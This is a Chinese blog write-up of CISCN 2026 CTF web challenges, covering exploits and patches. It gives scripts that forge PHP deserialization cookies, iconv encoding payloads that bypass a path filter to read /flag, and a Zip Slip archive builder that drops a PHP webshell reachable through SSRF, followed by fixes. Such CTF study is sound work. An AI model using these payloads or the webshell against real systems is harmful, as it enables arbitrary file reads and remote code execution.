网络安全 学习记录 2026Ciscn&&ccb_web部分赛题复盘总结 Tonglinggejimo 2026-04-03 2026-04-03 前言 打得很闹心的一场比赛,问题太多了。怀着很高的期望去打的,结果一地鸡毛。比赛时候的心态有很大问题,太着急了,准备也不充分,还是得多练吧。明年一定要拿一个好成绩!!!
比赛时下载附件先看的不是这道题,一直在看别的,但是之后发现很多队都patch了这道题目,于是就来看了一下,这道题目不是很难,当时下载附件后迅速看了一遍整个源码,发现unserialize函数,当时直接盲猜是反序列化漏洞,但是当时一时间没想到整个的利用过程,所以一直在踌躇,想着怎么patch能不影响业务逻辑,可是看到大家kuku拿分,也有点着急了,直接尝试把所有反序列化的函数直接注释掉。提交后发现直接过了,就没有再纠缠这道题目。
现在比完了,尝试复盘整道题的patch和break的方式。
源码分析 初步解析 index.php、download.php、preview.php、profile.php里都存在$user = @unserialize($_COOKIE['user']);这个反序列化的函数,同时进一步读代码会发现:用户 Cookie 中的 user 字段被直接 unserialize(),没有任何签名校验或 HMAC 验证。攻击者可以伪造任意 User 对象,控制lib/User.php的三个属性:
$name:权限角色->控制显示的用户名
$encoding:使用的编码->控制传输的编码
$basePath:上传文件的基础地址->控制文件读取的基础路径
class User { public string $name = "guest" ; public string $encoding = "UTF-8" ; public string $basePath = "/var/www/html/uploads/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } }
所以从当前的分析过程中可以发现利用Cookie的user来实现反序列化。接下来看一看别的利用点。
分文件解析 index.php <?php declare (strict_types=1 );require_once __DIR__ . "/lib/User.php" ;require_once __DIR__ . "/lib/Util.php" ;$uploadsDir = "/var/www/html/uploads/" ;$user = null ;if (isset ($_COOKIE ['user' ])) { $user = @unserialize ($_COOKIE ['user' ]); } if (!$user instanceof User) { $user = new User ("guest" ); setcookie ("user" , serialize ($user ), time () + 86400 , "/" ); } $msg = "" ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['file' ])) { $f = $_FILES ['file' ]; if ($f ['error' ] === UPLOAD_ERR_OK) { $name = Util ::safeUploadName ($f ['name' ] ?? 'upload.bin' ); if (!Util ::isAllowedUploadExtension ($name )) { $msg = "Upload failed." ; } else { $dst = $uploadsDir . $name ; if (move_uploaded_file ($f ['tmp_name' ], $dst )) { $msg = "Uploaded: " . $name ; } else { $msg = "Upload failed." ; } } } else { $msg = "Upload error: " . (string )$f ['error' ]; } } $files = Util ::listUploads ($uploadsDir );?>
基本可以看到漏洞点不存在于index.php里,这个文件里主要是文件上传功能,把一些比较常见的利用点都限制住了,所以多半利用点不在这里,继续看别的代码
download.php <?php $user = null ;if (isset ($_COOKIE ['user' ])) { $user = @unserialize ($_COOKIE ['user' ]); } if (!$user instanceof User) $user = new User ("guest" );$f = (string )($_GET ['f' ] ?? "" );if ($f === "" ) { http_response_code (400 ); echo "Missing f" ; exit ; }$path = $uploadsDir . $f ;$path = @iconv ($user ->encoding, "UTF-8//IGNORE" , $path );if ($path === false || $path === "" ) { http_response_code (500 ); echo "Conversion failed" ; exit ; }$real = realpath ($path );$uploadsReal = realpath ($uploadsDir );if ($real === false || $uploadsReal === false || strpos ($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0 ) { http_response_code (404 ); echo "Not found" ; exit ; } if (!is_file ($real )) { http_response_code (404 ); echo "Not found" ; exit ; }header ("Content-Type: application/octet-stream" );header ("Content-Disposition: attachment; filename=\"" . basename ($f ) . "\"" );readfile ($real );
这里的文件读取无法实现直接目录穿越的任意文件读取,会被前缀校验+realpath挡住,但是可能存在iconv的编码转换的问题
preview.php <?php $user = null ;if (isset ($_COOKIE ['user' ])) { $user = @unserialize ($_COOKIE ['user' ]); } if (!$user instanceof User) { $user = new User ("guest" ); setcookie ("user" , serialize ($user ), time () + 86400 , "/" ); } $f = (string )($_GET ['f' ] ?? "" );if ($f === "" ) { http_response_code (400 ); echo "Missing parameter: f" ; exit ; } $rawPath = $user ->basePath . $f ;if (preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $rawPath )) { http_response_code (403 ); echo "Access denied" ; exit ; } $convertedPath = @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );if ($convertedPath === false || $convertedPath === "" ) { http_response_code (500 ); echo "Conversion failed" ; exit ; } $content = @file_get_contents ($convertedPath );if ($content === false ) { http_response_code (404 ); echo "Not found" ; exit ; } $displayRaw = $rawPath ;$displayConv = $convertedPath ;$isText = true ;for ($i =0 ; $i <min (strlen ($content ), 512 ); $i ++) { $c = ord ($content [$i ]); if ($c === 0 ) { $isText = false ; break ; } } ?>
所以可以直接分析发现preview.php是最主要的漏洞利用点,可以直接构造如下攻击链:Cookie 反序列化 → 篡改 basePath + encoding → iconv 编码转换绕过正则 → 任意文件读取(读 /flag)
profile.php 虽然已经确定了核心攻击链,但是还是要看一下profile.php
<?php declare (strict_types=1 );require_once __DIR__ . "/lib/User.php" ;require_once __DIR__ . "/lib/Util.php" ;$user = null ;if (isset ($_COOKIE ['user' ])) { $user = @unserialize ($_COOKIE ['user' ]); } if (!$user instanceof User) { $user = new User ("guest" ); } $msg = "" ;$allowed = ["UTF-8" , "GBK" , "BIG5" , "ISO-2022-CN-EXT" ];if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $enc = (string )($_POST ['encoding' ] ?? "UTF-8" ); if (!in_array ($enc , $allowed , true )) { $msg = "Unsupported encoding" ; } else { $user ->encoding = $enc ; setcookie ("user" , serialize ($user ), time () + 86400 , "/" ); $msg = "Saved" ; } } ?>
Break构造 UTF-7的payload <?php class User { public string $name = "guest" ; public string $encoding = "UTF-7" ; public string $basePath = "/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } } $user = new User ();$cookieRaw = serialize ($user );$cookieValue = rawurlencode ($cookieRaw );echo $cookieValue ."\n" ;function buildUtf7Bytes (string $text ): string { $utf16be = iconv ('UTF-8' , 'UTF-16BE' , $text ); $shifted = rtrim (base64_encode ($utf16be ), '=' ); return '+' . $shifted . '-' ; } $arg ='flag' ;echo (buildUtf7Bytes ($arg )."\n" );
输出结果如下:
php exp.php O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D +AGYAbABhAGc-
然后向url端口发送?f=%2BAGYAbABhAGc-,同时Cookie为user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
注意 :get的请求发送的是%2BAGYAbABhAGc-而不是+AGYAbABhAGc-是因为$_GET 在 PHP 里解析查询字符串时,遵循的是类似 application/x-www-form-urlencoded 的规则,+会被当成空格,所以需要URL编码,所以?f=+AGYAbABhAGc-进入php后实际上会变成$_GET['f'] === " AGYAbABhAGc-"
此处提供一个简单的测试用例:
<?php parse_str ("f=+AGYAbABhAGc-" , $a ); parse_str ("f=%2BAGYAbABhAGc-" , $b ); var_dump ($a ["f" ]); var_dump ($b ["f" ]);
GBK的payload 在当前验证环境中,GBK 配合 iconv(..., "//IGNORE") 可以通过插入非法字节来吞字节,因此该构造方式采取此思想。
<?php class User { public string $name = "guest" ; public string $encoding = "gbk" ; public string $basePath = "/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } } $user = new User ();$cookieRaw = serialize ($user );echo ($cookieValue = rawurlencode ($cookieRaw )."\n" );$arg ="fl" ."\xff" ."ag" ;echo (urlencode ($arg ));
ISO-2022-CN-EXT的payload <?php class User { public string $name = "guest" ; public string $encoding = "ISO-2022-CN-EXT" ; public string $basePath = "/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } } $user = new User ();$cookieRaw = serialize ($user );echo ($cookieValue = rawurlencode ($cookieRaw )."\n" );$arg ="fl" ."\x1b$)A" ."ag" ;echo (urlencode ($arg ));
patch 已经知道攻击链如何构造,那么patch也很简单,我之前的简单粗暴注释unserialize函数的方法会导致所有的请求都回到默认配置,用户编码无法再支持可选改变。
所以正确的最优雅的不损坏正常业务逻辑的patch脚本如下:
#!/bin/bash sed -i '/\$content = @file_get_contents(\$convertedPath);/c\ $real = realpath($convertedPath);\ $uploadsDir = "/var/www/html/uploads/";\ $uploadsReal = realpath($uploadsDir);\ if (\ $real === false ||\ $uploadsReal === false ||\ strpos($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0 ||\ !is_file($real)\ ) {\ http_response_code(404);\ echo "Not found";\ exit;\ }\ \ $content = @file_get_contents($real);' /var/www/html/preview.phpsed -i 's/\$displayConv = \$convertedPath;/\$displayConv = \$real;/' /var/www/html/preview.php
easy_time复盘报告 源码分析 / 主页路由函数 @app.route('/' ) def home (): if is_logged_in(): return flask.redirect(flask.url_for("dashboard" )) return flask.redirect(flask.url_for("login" ))
如果没登录会重定向到/login,登录了会重定向到/dashboard,其中判定登录的逻辑如下:
def is_logged_in () -> bool : return flask.request.cookies.get("visited" ) == "yes" and bool (flask.request.cookies.get("user" ))
只要从cookie中直接提取visited的值等于yes,user是有值的,就等于登录成功,所以这里其实是可以通过设置cookie字段直接绕过登录的(当时为什么想的是改后面/login的密码的硬编码的md5值呢??????)
/dashboard 路由函数 @app.route("/dashboard" ) @login_required def dashboard (): return flask.render_template("dashboard.html" , user=flask.request.cookies.get("user" )) def login_required (view ): def wrapped (*args, **kwargs ): if not is_logged_in(): next_url = flask.request.full_path if flask.request.query_string else flask.request.path return flask.redirect(flask.url_for("login" , next =next_url)) return view(*args, **kwargs) wrapped.__name__ = view.__name__ return wrapped
<!doctype html > <html lang ="zh-CN" > <head > <meta charset ="utf-8" /> <meta name ="viewport" content ="width=device-width, initial-scale=1" /> <title > 后台</title > <link rel ="stylesheet" href ="{{ url_for('static', filename='styles.css') }}" /> </head > <body > <main class ="page" > <section class ="card" aria-label ="后台" > <header class ="card__header" > <div class ="brand" > <div class ="logo" aria-hidden ="true" > </div > <h1 class ="title" > 后台面板</h1 > </div > <p class ="subtitle" > 当前用户:<code > {{ user }}</code > </p > </header > <div class ="card__body" > <div class ="form" > <a class ="button" href ="{{ url_for('upload_plugin') }}" > 插件上传</a > <a class ="button" href ="{{ url_for('board') }}" > 留言板</a > <a class ="button" href ="{{ url_for('about') }}" > 个人 About / 头像</a > <a class ="link" href ="{{ url_for('logout') }}" > 退出登录</a > </div > </div > </section > </main > </body > </html >
/login 路由函数 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if flask.request.method == 'POST' : username = flask.request.form.get('username' , '' ) password = flask.request.form.get('password' , '' ) h1 = hashlib.md5(password.encode('utf-8' )).hexdigest() h2 = hashlib.md5(h1.encode('utf-8' )).hexdigest() next_url = flask.request.args.get("next" ) or flask.url_for("dashboard" ) if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde" : resp = flask.make_response(flask.redirect(next_url)) resp.set_cookie('visited' , 'yes' , httponly=True , samesite='Lax' ) resp.set_cookie('user' , username, httponly=True , samesite='Lax' ) return resp return flask.render_template('login.html' , error='用户名或密码错误' , username=username), 401 return flask.render_template('login.html' , error=None , username='' )
这个函数其实没啥好说的,就是存在硬编码,当时我也认为这里不存在什么可以patch的点,漏洞点不在这里。
/logout 路由函数 @app.route('/logout' ) def logout (): resp = flask.make_response(flask.redirect('/login' )) resp.set_cookie('visited' , '' , expires=0 ) resp.set_cookie('user' , '' , expires=0 ) return resp
没啥好说的,登出直接cookie鉴权的值设为空
/plugin/upload 路由函数 BASE_DIR = Path(__file__).resolve().parent UPLOAD_DIR = BASE_DIR / "uploads" PLUGIN_DIR = BASE_DIR / "plugins" @app.route('/plugin/upload' , methods=['GET' , 'POST' ] ) @login_required def upload_plugin (): if flask.request.method == 'GET' : return flask.render_template('plugin_upload.html' , error=None , ok=None , files=None ) file = flask.request.files.get('plugin' ) if not file or not file.filename: return flask.render_template('plugin_upload.html' , error='请选择一个 zip 文件' , ok=None , files=None ), 400 filename = secure_filename(file.filename) if not filename.lower().endswith('.zip' ): return flask.render_template('plugin_upload.html' , error='仅支持 .zip 文件' , ok=None , files=None ), 400 saved = UPLOAD_DIR / f"{uuid4().hex } -{filename} " file.save(saved) dest = PLUGIN_DIR / f"{Path(filename).stem} -{uuid4().hex [:8 ]} " dest.mkdir(parents=True , exist_ok=True ) try : print (saved, dest) extracted = safe_upload(saved, dest) except Exception: shutil.rmtree(dest, ignore_errors=True ) return flask.render_template('plugin_upload.html' , error='解压失败:压缩包内容不合法' , ok=None , files=None ), 400 return flask.render_template('plugin_upload.html' , error=None , ok='上传并解压成功' , files=extracted)
这里可以发现上传的zip文件会被直接safe_upload,该函数内容如下:
def safe_upload (zip_path: Path, dest_dir: Path ) -> list [str ]: with zipfile.ZipFile(zip_path, 'r' ) as z: for info in z.infolist(): target = os.path.join(dest_dir, info.filename) if info.is_dir(): os.makedirs(target, exist_ok=True ) else : os.makedirs(os.path.dirname(target), exist_ok=True ) with open (target, 'wb' ) as f: f.write(z.read(info.filename))
所以审计到这里是完全可以发现漏洞点的,也就是Zip Slip压缩包路径穿越 的漏洞,可以实现任意路径写文件。
/board 路由函数 @app.route('/board' , methods=['GET' , 'POST' ] ) @login_required def board (): user = flask.request.cookies.get('user' ) if flask.request.method == 'POST' : content = (flask.request.form.get('content' ) or '' ).strip() if content: conn = db() conn.execute( 'INSERT INTO messages(username, content, created_at) VALUES (?,?,?)' , (user, content, datetime.utcnow().isoformat(timespec='seconds' ) + 'Z' ), ) conn.commit() conn.close() return flask.redirect(flask.url_for('board' )) conn = db() rows = conn.execute('SELECT * FROM messages ORDER BY id DESC LIMIT 50' ).fetchall() conn.close() return flask.render_template('board.html' , user=user, messages=rows)
这里是留言板,会直接把传入的内容插入到后端的sqllite的数据库里
/about 路由函数 @app.route('/about' , methods=['GET' , 'POST' ] ) @login_required def about (): user = flask.request.cookies.get('user' ) conn = db() current = conn.execute('SELECT * FROM users WHERE username=?' , (user,)).fetchone() about_text = current['about' ] if current else '' avatar_local = current['avatar_local' ] if current else '' avatar_url = current['avatar_url' ] if current else '' if flask.request.method == 'POST' : about_text = flask.request.form.get('about' , '' ) avatar_url = flask.request.form.get('avatar_url' , '' ) upload = flask.request.files.get('avatar_file' ) if upload and upload.filename: raw = upload.read() upload.seek(0 ) kind = sniff_image_type(raw) if kind not in {'png' , 'jpeg' , 'gif' , 'webp' }: conn.close() return ( flask.render_template( 'about.html' , user=user, about=about_text, avatar_local=avatar_local, avatar_url=avatar_url, remote_info=fetch_remote_avatar_info(avatar_url), error='头像文件必须是图片(png/jpg/gif/webp)' , ), 400 , ) fname = f"{uuid4().hex } .{ 'jpg' if kind == 'jpeg' else kind } " path = AVATAR_DIR / fname with open (path, 'wb' ) as f: f.write(raw) avatar_local = f"uploads/avatars/{fname} " conn.execute( 'UPDATE users SET about=?, avatar_local=?, avatar_url=? WHERE username=?' , (about_text, avatar_local, avatar_url, user), ) conn.commit() current = conn.execute('SELECT * FROM users WHERE username=?' , (user,)).fetchone() conn.close() return flask.render_template( 'about.html' , user=user, about=current['about' ], avatar_local=current['avatar_local' ], avatar_url=current['avatar_url' ], remote_info=fetch_remote_avatar_info(current['avatar_url' ]), error=None , ) conn.close() return flask.render_template( 'about.html' , user=user, about=about_text, avatar_local=avatar_local, avatar_url=avatar_url, remote_info=fetch_remote_avatar_info(avatar_url), error=None , ) def fetch_remote_avatar_info (url: str ): if not url: return None parsed = urllib.parse.urlparse(url) if parsed.scheme not in {"http" , "https" }: return None if not parsed.hostname: return None req = urllib.request.Request(url, method="GET" , headers={"User-Agent" : "question-app/1.0" })
Break构造 由上述源码审计分析,可以想到利用链:
写webshell构造恶意zip实现zip slip -> 上传文件使其解压到/var/www/html -> 使用ssrf打内网才能访问的webshell
构造可实现Zip Slip的压缩包的代码:
import zipfileimport iozip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w' , zipfile.ZIP_DEFLATED) as zf: zf.writestr('../../../var/www/html/shell.php' , b"<?php system($_GET['tlgjm']);?>" ) with open ('payload.zip' , 'wb' ) as f: f.write(zip_buffer.getvalue())
上传文件后,在/about路由下设置头像远程url访问webshell执行命令即可
patch 题目里其实已经写了安全版本 safe_extract_zip(),只要真正使用它即可。
def safe_extract_zip (zip_path: Path, dest_dir: Path ) -> list [str ]: dest_dir = dest_dir.resolve() extracted = [] with zipfile.ZipFile(zip_path, "r" ) as zf: for info in zf.infolist(): name = info.filename.replace("\\" , "/" ) if name.endswith("/" ): continue if name.startswith("/" ) or (len (name) >= 2 and name[1 ] == ":" ): raise ValueError("Illegal path in zip" ) target = (dest_dir / name).resolve() if os.path.commonpath([str (dest_dir), str (target)]) != str (dest_dir): raise ValueError("ZipSlip blocked" ) target.parent.mkdir(parents=True , exist_ok=True ) with zf.open (info, "r" ) as src, open (target, "wb" ) as dst: shutil.copyfileobj(src, dst) extracted.append(str (target.relative_to(dest_dir))) return extracted
所以可以把:
extracted = safe_upload(saved, dest)
改为:
extracted = safe_extract_zip(saved, dest)
可以直接执行:
sed -i 's/extracted = safe_upload(saved, dest)/extracted = safe_extract_zip(saved, dest)/g' index.py
然后同时限制fetch_remote_avatar_info的内网访问,直接调用已经写好的_host_is_public来实现对内网访问的限制
def _host_is_public (hostname: str ) -> bool : lowered = (hostname or "" ).lower() if lowered in {"localhost" , "localhost.localdomain" }: return False try : addrinfos = socket.getaddrinfo(hostname, None ) except OSError: return False ips = {ai[4 ][0 ] for ai in addrinfos if ai and ai[4 ]} if not ips: return False for ip_str in ips: ip_obj = ipaddress.ip_address(ip_str) if ( ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_multicast or ip_obj.is_reserved ): return False return True
直接在fetch_remote_avatar_info添加对url的判断即可
if _host_is_public(url): return None
不过这里没有patch过,所以不清楚是否这样就可以过patch了,其他也确实找不到什么还可以利用的漏洞点了
赛后总结 其他的两道web,一个是试图去patch了IntraBadge的ssti,但是没过,猜测是打ssrf和redis,没做出来。赛后也没redis环境,不知道flag在哪里。另一道是java的,毫无头绪,一脸懵。之后看看别人的wp吧
这次幸运地以比较好的名次进了半决,以为会很顺利,结果到场整个人脑袋发懵,完全乱了。pwn题队友其实能patch3道,因为对比赛规则的不熟悉加上打到后面有些上头,实际上也就patch了一道,不过其实上午名次还不错,当时想着像去年一样能在下午isw去做出来一些题的话,那应该不会很差。结果感觉和去年完全不一样,下午纯纯在坐牢,isw3很快拿fscan扫出来shiro反序列化利用,但是本机java环境有问题,以前积累的工具在换机后没怎么打一样的题目了,所以一直没测过,没想到直接用不了,把本机漏扫工具里的poc也都拆出来一个一个打了,七条链子,没有一条有回显。其他两道根本看不出来怎么入口。赛前准备了很多拿到shell后的提权方式和cve,结果甚至入口都没进去,坐牢一下午,真的好煎熬,好无力。感觉自己还是一个脚本小子,没能帮助到队友,没能拿到更好的成绩,没能帮助到自己,好失败。
心态和积累真的很重要,很多平时能做出来的,到线下就纯属昏了头。此外就是自己确实得真的去研究学习一下java安全了,不能只当一个脚本小子。
好好整理整理,明年再来吧,希望明年能拿一个比较好的成绩,给自己一个合理的交代。